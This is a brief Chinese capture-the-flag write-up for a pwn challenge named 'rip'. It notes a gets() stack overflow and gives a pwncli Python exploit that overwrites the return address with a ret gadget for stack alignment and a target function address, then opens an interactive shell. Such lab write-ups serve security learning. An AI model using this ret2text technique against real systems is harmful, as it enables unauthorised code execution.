1-rip
rip
检查保护

IDA分析
main

s
gets(s)存在栈溢出

fun

运行

思路
- 利用gets函数对栈s进行栈溢出
- 需要栈对齐
栈对齐


EXP
#!/usr/bin/env python3
from pwncli import *
from libcfind import *
cli_script() # 使用脚本模式必须显式调用这个函数
# 你能够从gift里面取到很多东西
io = gift['io'] # process或remote对象
elf = gift["elf"] # ELF对象,ELF("./pwn")
libc = gift.libc # ELF对象, ELF("./libc.so.6")
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
# if gift.remote:
# libc = ELF("./libc-2.31.so")
# gift['libc'] = libc
#栈溢出+栈对齐
pd=flat({
0xf+0x8:p64(0x401016)+p64(0x401186)
})
sla('input',pd)
io.interactive() # 与socket保持交互
浙公网安备 33010602011771号